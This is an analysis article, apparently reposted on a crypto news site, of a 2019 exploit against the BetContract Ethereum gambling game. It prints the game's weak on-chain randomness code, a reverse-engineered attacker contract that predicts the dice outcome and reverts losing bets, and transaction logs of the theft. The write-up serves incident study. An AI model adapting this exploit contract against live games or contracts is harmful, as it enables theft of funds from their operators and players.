Exploiting the BetContract Game – Zhongqiang Chen ⋆ Crypto New Media


If you have already read the articles given in the references, you can skip the first section.

The BetContract game is a decentralized game deployed on the Ethereum blockchain. It is a gambling game in which a player can bet on a number along with bet money, then the game generates three random numbers and uses these random numbers to determine the winner and the amount of money for the award.

The game provides several bet types (and named play Ids in the game): type 1 to type 8. For each bet type, different rules are used to determine the winner and the prize. For instance, in bet type 1 (i.e., play Id = 1), if the summation of the 3 random numbers generated by the game is in range [4, 10] and the number bet by the player is 4, then the player wins a small prize, and the player will win a large prize if the summation of the 3 random numbers is in range [11, 17] and the number bet by the player is 17. If the player bets on any other numbers, he will lose the game.

A player can play with any amount of bet money as long as it is larger than a minimum (it is 1500000000000000 Wei).

The information on the transaction that deployed the BetContract game was shown below.

Transaction Hash: 0xe81bc748f279a3c53df6e87cc8c72b2879c5da5959e62f7c41ed110c6fd4498f
Status: Success
Block: 7482538 1106414 Block Confirmations
Timestamp: 172 days 10 hrs ago (Apr-01-2019 12:18:09 PM +UTC)
From: 0xd2dfe6d4ef4933c436fe6bba81479c0de7089ebd
To: [Contract 0x42595584e6029178d6009077db7a6b68650aa1f0 Created]
Value: 0 Ether ($0.00)
Transaction Fee: 0.01973119992 Ether ($4.25)
Gas Limit: 5,304,086
Gas Used by Transaction: 5,304,086 (100%)
Gas Price: 0.00000000372 Ether (3.72 Gwei)
Nonce Position 41 18
Input Data: (omitted)

The smart contract for the BetContract game was created on Apr-01–2019 12:18:09 PM +UTC and its address begins with 0x4259.

To show that the game is fair and there is no hidden tricks, the creator of the game also published the source code of the game.

As the source code for the BetContract game is big, I only present part of it here. For the complete source code, please go EtherScan.io.

/**
*Submitted for verification at Etherscan.io on 2019-04-01
*/pragma solidity ^0.4.20;contract BetContract is usingOraclize{
uint maxProfit;//最高奖池
uint maxmoneypercent;
uint public contractBalance;
uint minBet;
uint onoff;//游戏启用或关闭
address private owner;
uint private orderId;
uint private randonce; event LogNewOraclizeQuery(string description,bytes32 queryId);
event LogNewRandomNumber(string result,bytes32 queryId);
event LogSendBonus(uint id,bytes32 lableId,uint playId,uint content,uint singleMoney,uint mutilple,address user,uint betTime,uint status,uint winMoney);
event LogBet(bytes32 queryId); mapping (address => bytes32[]) playerLableList;//玩家下注批次
mapping (bytes32 => mapping (uint => uint[7])) betList;//批次,注单映射
mapping (bytes32 => uint) lableCount;//批次,注单数
mapping (bytes32 => uint) lableTime;//批次,投注时间
mapping (bytes32 => uint) lableStatus;//批次,状态 0 未结算,1 已撤单,2 已结算 3 已派奖
mapping (bytes32 => uint[3]) openNumberList;//批次开奖号码映射
mapping (bytes32 => string) openNumberStr;//批次开奖号码映射
mapping (bytes32 => address) lableUser; function BetContract() public {
owner = msg.sender;
orderId = 0;
onoff=1;
minBet=1500000000000000;//最小金额要比手续费大
maxmoneypercent=80;
contractBalance = this.balance;
maxProfit=(this.balance * maxmoneypercent)/100;
randonce = 0;
}
function doBet(uint[] playid,uint[] betMoney,uint[] betContent,uint mutiply) public payable returns (bytes32) {
require(onoff==1);
require(playid.length > 0);
require(mutiply > 0);
require(msg.value >= minBet); bytes32 queryId;
queryId = keccak256(block.blockhash(block.number-1),now,randonce); uint[7] tmp ;
uint totalspand = 0;
for(uint i=0;i<playid.length;i++){
orderId++;
tmp[0] =orderId;
tmp[1] =playid[i];
tmp[2] =betContent[i];
tmp[3] =betMoney[i]*mutiply;
totalspand +=betMoney[i]*mutiply;
tmp[4] =now;
tmp[5] =0;
tmp[6] =0;
betList[queryId][i] =tmp;
}
require(msg.value >= totalspand);
lableTime[queryId] = now;
lableCount[queryId] = playid.length;
lableUser[queryId] = msg.sender;
uint[3] memory codes = [uint(0),0,0];//开奖号码
openNumberList[queryId] = codes;
openNumberStr[queryId] ="0,0,0";
lableStatus[queryId] = 0; uint index=playerLableList[msg.sender].length++;
playerLableList[msg.sender][index]=queryId;//index:id
LogBet(queryId);
opencode(queryId);
return queryId;
} function opencode(bytes32 queryId) private {
if (lableCount[queryId] < 1) revert();
uint[3] memory codes = [uint(0),0,0];//开奖号码 bytes32 code0hash = keccak256(abi.encodePacked(block.blockhash(block.number-1), now,msg.sender,randonce));
randonce = randonce + uint(code0hash)%10;
uint code0int = uint(code0hash) % 6 + 1; bytes32 code1hash = keccak256(abi.encodePacked(block.blockhash(block.number-1), now,msg.sender,randonce));
randonce = randonce + uint(code1hash)%10;
uint code1int = uint(code1hash) % 6 + 1; bytes32 code2hash = keccak256(abi.encodePacked(block.blockhash(block.number-1), now,msg.sender,randonce));
randonce = randonce + uint(code2hash)%10;
uint code2int = uint(code2hash) % 6 + 1;
var code0=uintToString(code0int);
var code1=uintToString(code1int);
var code2=uintToString(code2int);
codes[0] = code0int;
codes[1] = code1int;
codes[2] = code2int;
openNumberList[queryId] = codes;
openNumberStr[queryId] = strConcat(code0,",",code1,",",code2); //结算,派奖
doCheckBounds(queryId);
}
//中奖判断
function checkWinMoney(uint[7] storage betinfo,uint[3] codes) internal {
uint rates;
if(betinfo[1] ==1){
//大小 豹子不中奖
if(codes[0] == codes[1] && codes[1] == codes[2]){
betinfo[5]=1;//未中奖
}else{
uint sum = codes[0]+codes[1]+codes[2];
if(sum >= 4 && sum < 11){
sum = 4;//小
}else if(sum >= 11 && sum < 18){
sum = 17;//大
}else{
sum = 0;
} betinfo[5]=1;
if(sum >0 && betinfo[2] == sum){
betinfo[5]=2;
rates = getPlayRate(betinfo[1],0);
betinfo[6]=betinfo[3]*rates/10;
}
}
}
} function doCheckBounds(bytes32 queryId) internal{
uint sta = lableStatus[queryId];
require(sta == 0 || sta == 2);
uint[3] memory codes = openNumberList[queryId];
require(codes[0] > 0);
//结算
uint len = lableCount[queryId];
uint totalWin;
address to = lableUser[queryId];
for(uint aa = 0 ; aa<len; aa++){
//未结算
if(sta == 0){
if(betList[queryId][aa][5] == 0){
checkWinMoney(betList[queryId][aa],codes);
totalWin+=betList[queryId][aa][6];
}
}else if(sta == 2){
totalWin+=betList[queryId][aa][6];
}
} lableStatus[queryId] = 2;
//派奖
if(totalWin > 0){
if(totalWin < this.balance){
to.transfer(totalWin);//转账
lableStatus[queryId] = 3;
}else{
LogNewOraclizeQuery("sent bouns fail.",queryId);
}
}else{
lableStatus[queryId] = 3;
} contractBalance=this.balance;
maxProfit=(this.balance * maxmoneypercent)/100;
}
}

In order to play the game, a player needs only to call the function doBet() with appropriate parameters. The parameters to the function doBet() mainly specify the bet types, amount of bet money, and the numbers to bet on by the player.

Multiple bet types can be played within a single call to the function doBet() because the parameters to the function are dynamic arrays that can hold as many bets the caller may put.

Please note that it is within the function checkWinMoney() where the winner and amount of prize are determined. For demonstration purpose, I only present the case for play id = 1. For other bet types, please refer to the original source code of the game available on EtherScan.io.

It can be seen that for play id =1, the only possible numbers that could win the game are 4 and 17.

The 3 random numbers are generated in function opencode() and the sources for the random numbers are block hash of previous block, creation time of current block, and the address of the player. Additionally, a seed is also used when computing the hash code.

Generally speaking, in order to attack a game, the attacker should predict the random numbers generated by the game so that the attacker can ensure to win the game when he plays the game. To do so, the attack must mimic the behavior of the game, especially those parts related to random number generation and the logic to determine winner and prize amount. This could require a lot of work and programming skills.

Instead of this, a much simpler attack strategy can be employed: simply repeatedly play the game and if the game is lost, just revert it and started another game until the game is won.

As expected, the BetContract game is also exploited by attackers with such a simple attack strategy. One attack tool that implements such a simple attack strategy will be described next.

The BetContract game can be exploited in a very naive way: play the game and just revert it if the game is not won. I give a detailed description on such an exploitation method in another article and please refer to the references.

Here, I introduce another exploitation method that actually predicts the result of the game playing in advance and decides to play the game only it can ensure that it can win the game.

Such an exploitation method is implemented in the form of smart contract, and the smart contract for exploiting the BetContract game is deployed by the following transaction.

Transaction Hash: 0x013bc19f0fb04f0f55d9591d6f2a3c310b62d7959d82021b8d94f4320622f2a1
Status: Success
Block: 7545652 1007512 Block Confirmations
Timestamp: 157 days 39 mins ago (Apr-11-2019 08:18:51 AM +UTC)
From: 0xd1e88e048fc8f8ba954f1dbb260c811c0793c67b
To: [Contract 0x936aa4e9b80b4301959ea69ef18ebd8d95a75efb Created]
Value: 0 Ether ($0.00)
Transaction Fee: 0.005634306 Ether ($1.06)
Gas Limit: 939,051
Gas Used by Transaction: 939,051 (100%)
Gas Price: 0.000000006 Ether (6 Gwei)
Nonce Position 13 76
Input Data: (omitted)

The smart contract is created by 0xd1e8 on Apr-11–2019 08:18:51 AM +UTC. It is deployed about 10 days after the game BetContract is online, which is on Apr-01–2019 12:18:09 PM +UTC.

The address of the smart contract is 0x936a. The input data in this transaction is the binary code of the smart contract (omitted here). The source code of the smart contract is not published by its creator.

The source code of the smart contract, obtained by reversed engineering techniques, is present below.

pragma solidity ^0.5.1;/*
argument to constructor:
00000000000000000000000042595584e6029178d6009077db7a6b68650aa1f0
betcontract contract address:
0x42595584e6029178d6009077db7A6B68650AA1f0
*/
contract contract_936a {
// slot 0x00
uint256 nonce;
// slot 0x01
address payable owner;
// slot 0x02
address betcontract;

modifier onlyOwner () {
require(msg.sender == owner);
_;
}

constructor (address _addr) public {
betcontract = _addr;
owner = msg.sender;
}

// function selector: 0x061e494f
// code entrance: 0x006f
function getBet(uint256 _rand) public onlyOwner view
returns (uint256, uint256) {
uint[3] memory codes = [uint(0), 0, 0];
bytes32 code0hash = keccak256(abi.encodePacked(
blockhash(block.number-1),
block.timestamp,
address(this),
_rand));
_rand = _rand + uint256(code0hash) % 10;
uint256 code0int = uint256(code0hash) % 6 + 1;
bytes32 code1hash = keccak256(abi.encodePacked(
blockhash(block.number - 1),
block.timestamp,
address(this),
_rand));
_rand = _rand + uint256(code1hash) % 10;
uint256 code1int = uint256(code1hash) % 6 + 1;
bytes32 code2hash = keccak256(abi.encodePacked(
blockhash(block.number - 1),
block.timestamp,
address(this),
_rand));
_rand = _rand + uint256(code2hash) % 10;
uint256 code2int = uint256(code2hash) % 6 + 1;
codes[0] = code0int;
codes[1] = code1int;
codes[2] = code2int;
uint256 sum;
if ((codes[0] == codes[1]) && (codes[1] == codes[2])) {
sum = 0;
}
else {
sum = codes[0] + codes[1] + codes[2];
if ((sum >= 4) && (sum < 11)) {
sum = 4;
}
else if ((sum >= 11) && (sum < 18)) {
sum = 17;
}
else {
sum = 0;
}
}
return (sum, _rand);
}

// function selector: 0x3ccfd60b
// code entrance: 0x00b7
function withdraw() public onlyOwner {
selfdestruct(owner);
}

// function selector: 0x646668b6
// code entrance: 0x00ce
function getMaxBet() public onlyOwner view
returns (uint256) {
// 0x03e8 = 1000
uint256 maxmoneypercent = 80;
uint256 contractBalance = betcontract.balance;
uint256 maxProfit = (contractBalance * maxmoneypercent) / 100;
uint256 playRate = 19;
uint256 const = 10;
uint256 bet = ((maxProfit * const) / playRate) - 1000; return bet;
}

// function selector: 0xb8a1e355
// code entrance: 0x00f9
function doBet(uint256 _bet) public payable onlyOwner {
uint256 betVal = _bet;
if (_bet == 0) {
betVal = getMaxBet();
}
uint256 oldBalance = address(this).balance;
(uint256 sum, uint256 rand) = getBet(nonce);
if (sum != 0) {
uint256[] memory playid = new uint256[](1);
playid[0] = 1;
uint256[] memory betMoney = new uint256[](1);
betMoney[0] = betVal;
uint256[] memory betContent = new uint256[](1);
betContent[0] = sum;
// function: doBet(uint256[],uint256[],uint256[],uint256)
// function selector: 0xfc223410
uint256 mutiply = 1;
(bool success,) = betcontract.call.value(betVal)(
abi.encodeWithSelector(0xfc223410,
playid,
betMoney,
betContent,
mutiply
));
if (!success) {
revert();
}
require (oldBalance < address(this).balance,
"Sanity check");
nonce = rand;
}
return;
}

// function selector: 0xf360c183
// code entrance: 0x0119
function setNonce(uint256 _nonce) public onlyOwner {
nonce = _nonce;
}
}

The main entry to the smart contract is the function doBet(). The function takes an argument, which specifies the amount of money to bet. If the given amount of money to bet is 0, the function will call function getMaxBet() to determine the amount to bet to maximize the return.

The function doBet() then invokes another function getBet() to “predict” the number to bet on. The function getBet() in fact closely mimics the behavior of function opencode() in the smart contract for BetContract game, so that the same logic for winner selection is used.

If the returns from function getBet() indicates that the game can be won, the function doBet() proceeds to construct necessary data structures to invoke the function doBet() in the smart contract for BetContract game to actually play the game.

To further ensure that the game is actually won, the function doBet() further checks the balance after playing the game. If the balance does not increase, the function simply reverts the transaction.

It can be seen that the smart contract for exploiting the BetContract game in fact also combines the strategy used by the naive method, that is, if the game can not really win even after predicting the outcome in advance, then simply revert the transaction, which of course also reverts the game.

When computing the number to bet on, a “random” number called “nonce” is used as the initial value. This “random” nonce can be set by the function setNonce().

If, at some point, the player decides to quit the game, he can simply call the function withdraw() to extract all the money stored in the smart contract and then destroys the smart contract.

All functions can be invoked only by the owner of the smart contract, which is 0xd1e8.

When the smart contract was deployed, the address (i.e., 0x4259) of the smart contract for the BetContract game is passed as a parameter to the constructor of the smart contract. In this sense, this smart contract is designed specifically to exploit the BetContract game.

As pointed out before, the computation on the number to bet needs a “random” number as its initial value, and this initial value can be specified via function setNonce().

Therefore, the first thing for the attackers to do is to set the nonce, as shown in the following transaction.

Transaction Hash: 0xf548f50dad0c0a82de87fc55f4c77dd5f468ec4fd6f196168879854f7a6212bf
Status: Success
Block: 7545662 1016341 Block Confirmations
Timestamp: 158 days 9 hrs ago (Apr-11-2019 08:20:50 AM +UTC)
From: 0xd1e88e048fc8f8ba954f1dbb260c811c0793c67b
To: Contract 0x936aa4e9b80b4301959ea69ef18ebd8d95a75efb
Value: 0 Ether ($0.00)
Transaction Fee: 0.000252198 Ether ($0.05)
Gas Limit: 42,033
Gas Used by Transaction: 42,033 (100%)
Gas Price: 0.000000006 Ether (6 Gwei)
Nonce Position 14 105
Input Data: Function: setNonce(uint256 _newNonce) ***
MethodID: 0xf360c183
[0]: 00000000000000000000000000000000000000000000000000000000000000d4

The nonce is set to be 212 (i.e., 0xd4) by 0xd1e8 in this transaction.

After that, the attacks begin.

The first attack is launched by the following transaction.

Transaction Hash: 0x0a8a00e686236493612bf464234bb3242fc98f45486c93ee8b486895f0b5e50b
Status: Success
Block: 7545670 1016333 Block Confirmations
Timestamp: 158 days 9 hrs ago (Apr-11-2019 08:23:05 AM +UTC)
From: 0xd1e88e048fc8f8ba954f1dbb260c811c0793c67b
To: Contract 0x936aa4e9b80b4301959ea69ef18ebd8d95a75efb
TRANSFER 0.784842105263156894 Ether From 0x936aa4e9b80b4301959ea69ef18ebd8d95a75efb To 0x42595584e6029178d6009077db7a6b68650aa1f0Value: 0.79 Ether ($151.74)
Transaction Fee: 0.00266134 Ether ($0.51)
Gas Limit: 1,000,000
Gas Used by Transaction: 532,268 (53.23%)
Gas Price: 0.000000005 Ether (5 Gwei)
Nonce Position 15 76
Input Data: Function: doBet(uint256 weiValOverride) ***
MethodID: 0xb8a1e355[0]: 0000000000000000000000000000000000000000000000000000000000000000

When the smart contract is deployed, its creator did not deposit any money into the smart contract. Therefore, the balance in the smart contract is 0. To play the game, bet money is require. This is why the transaction carries 0.79 Ethers, which will be stored in the smart contract as bet money.

This transaction invokes the function doBet() in the smart contract with parameter “weiValOverride” as 0. So, the money to bet will be computed by function getMaxBet().

In order to know how much the attackers bet and whether or not the game is won, we look at the internal transactions generated by this transaction.

The contract call From 0xd1e88e048fc8f8ba954f1dbb260c811c0793c67b To 0x936aa4e9b80b4301959ea69ef18ebd8d95a75efb produced 2 contract Internal Transactions :Type Trace Address      From            To      Value   Gas Limitcall_0  0x936aa4e9b80b4301959ea69ef18ebd8d95a75efb               0x42595584e6029178d6009077db7a6b68650aa1f0     0.784842105263156894 Ether      947,542call_0_0       0x42595584e6029178d6009077db7a6b68650aa1f0              0x936aa4e9b80b4301959ea69ef18ebd8d95a75efb      1.491199999999998098 Ether      2,300

It can be observed that the game is played in internal transaction “call_0”, and the amount of bet money by the attackers is 0.784842105263156894 Ethers. The attackers indeed win the game. The award is sent to the attackers by the BetContract game (i.e., 0x4259) in internal transaction “call_0_0” and the amount of award is 1.491199999999998098 Ethers.

During the game playing, the smart contract for the BetContract game emits an event.

Transaction Receipt Event LogsAddress 0x42595584e6029178d6009077db7a6b68650aa1f0
Name LogBet (bytes32 queryId)
Topics 0 0xac038f3304801eaaf8be5e1857433a1cd22f8b6384720ccb25c1f291f7416784
Data ccb2c17d6e7cbcc6f2c7215870121c260103af3b9452ded3fda3599516893e55

After the execution of the transaction, the state changes on the accounts involving in the transaction are shown below.

A set of information that represents the current state is updated when a transaction takes place on the network. The below is a summary of those changes :Address         Before  After   State Difference0x2a65aca4d5fc5b5c859090a6c34d164135398226 Miner (DwarfPool 1)
469.850538409242472729 Eth 469.853199749242472729 Eth 0.00266134
0x42595584e6029178d6009077db7a6b68650aa1f0 1.864 Eth 1.157642105263158796 Eth 0.7063578947368412040x936aa4e9b80b4301959ea69ef18ebd8d95a75efb 0 Eth 1.496357894736841204 Eth 1.4963578947368412040xd1e88e048fc8f8ba954f1dbb260c811c0793c67b
1.080956820094224177 Eth Nonce: 15
0.288295480094224177 Eth Nonce: 16
0.79266134

It can be seen that before this transaction, the balance of the smart contract for exploitation is 0 Ether and it becomes 1.496357894736841204 Ethers after the transaction. Among this amount of Ethers, 0.79 Ethers is from the attacker 0xd1e8, while the remaining comes from the BetContract game (i.e., 0x4259).

It is also evident that after this attack, there are still .157642105263158796 Ethers in the smart contract for the BetContract game. Therefore, the attackers still have opportunities to win more money by launching more attacks.

Indeed, the attackers launch another attack in the following transaction.

Transaction Hash: 0x450961f6ae658856c5bd55d58726bf4b3f48b4520336acb546e94e849ba6d12a
Status: Success
Block: 7545682 1016329 Block Confirmations
Timestamp: 158 days 9 hrs ago (Apr-11-2019 08:25:48 AM +UTC)
From: 0xd1e88e048fc8f8ba954f1dbb260c811c0793c67b
To: Contract 0x936aa4e9b80b4301959ea69ef18ebd8d95a75efb
TRANSFER 0.487428254847644808 Ether From 0x936aa4e9b80b4301959ea69ef18ebd8d95a75efb To 0x42595584e6029178d6009077db7a6b68650aa1f0Value: 0 Ether ($0.00)
Transaction Fee: 0.0025847 Ether ($0.50)
Gas Limit: 1,000,000
Gas Used by Transaction: 516,940 (51.69%)
Gas Price: 0.000000005 Ether (5 Gwei)
Nonce Position 16 78
Input Data: Function: doBet(uint256 weiValOverride) ***
MethodID: 0xb8a1e355
[0]: 0000000000000000000000000000000000000000000000000000000000000000

The settings of this transaction is almost the same as those of the previous one. The only difference is that this transaction does not carries any money. After the previous attack, the smart contract has accumulated 1.496357894736841204 Ethers, so, it has enough money to play more games.

Again, the internal transactions created by this transaction reveal that the attackers win another game.

The contract call From 0xd1e88e048fc8f8ba954f1dbb260c811c0793c67b To 0x936aa4e9b80b4301959ea69ef18ebd8d95a75efb produced 2 contract Internal Transactions :Type Trace Address      From            To      Value   Gas Limitcall_0  0x936aa4e9b80b4301959ea69ef18ebd8d95a75efb               0x42595584e6029178d6009077db7a6b68650aa1f0     0.487428254847644808 Ether      947,703call_0_0       0x42595584e6029178d6009077db7a6b68650aa1f0              0x936aa4e9b80b4301959ea69ef18ebd8d95a75efb      0.926113684210525135 Ether      2,300

This time, the attackers bet 0.487428254847644808 Ethers, and win 0.926113684210525135 Ethers. The net profit is 0.43868542936 Ethers.

Finally, the attackers decide to quit from the game by invoking the function withdraw() in the smart contract.

Transaction Hash: 0xba8ceeb7c434e9de08617dd40a1a0f4dd9f3705cccf49d2f212a620d974cbda7
Status: Success
Block: 7545800 1016217 Block Confirmations
Timestamp: 158 days 9 hrs ago (Apr-11-2019 08:53:44 AM +UTC)
From: 0xd1e88e048fc8f8ba954f1dbb260c811c0793c67b
To: Contract 0x936aa4e9b80b4301959ea69ef18ebd8d95a75efb
TRANSFER 2.644117692169134852 Ether From 0x936aa4e9b80b4301959ea69ef18ebd8d95a75efb To 0xd1e88e048fc8f8ba954f1dbb260c811c0793c67bSELF DESTRUCT Contract 0x936aa4e9b80b4301959ea69ef18ebd8d95a75efbValue: 0 Ether ($0.00)
Transaction Fee: 0.00010776 Ether ($0.02)
Gas Limit: 26,939
Gas Used by Transaction: 13,470 (50%)
Gas Price: 0.000000008 Ether (8 Gwei)
Nonce Position 27 39
Input Data: Function: withdraw() ***
MethodID: 0x3ccfd60b

It can be seen that, by playing the BetContract game, the attackers earn 2.644117692169134852 Ethers, among which, 0.79 Ethers come from the attackers as the start money, and the remaining is the net profit.

Coins Kaufen: Bitcoin.deAnycoinDirektCoinbaseCoinMama (mit Kreditkarte)Paxfull

Handelsplätze / Börsen: Bitcoin.de | KuCoinBinanceBitMexBitpandaeToro

Lending / Zinsen erhalten: Celsius NetworkCoinlend (Bot)

Cloud Mining: HashflareGenesis MiningIQ Mining

Werbung: Immobilienmakler HeidelbergMakler Heidelberg

By continuing to use the site, you agree to the use of cookies. more information

The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this.

Close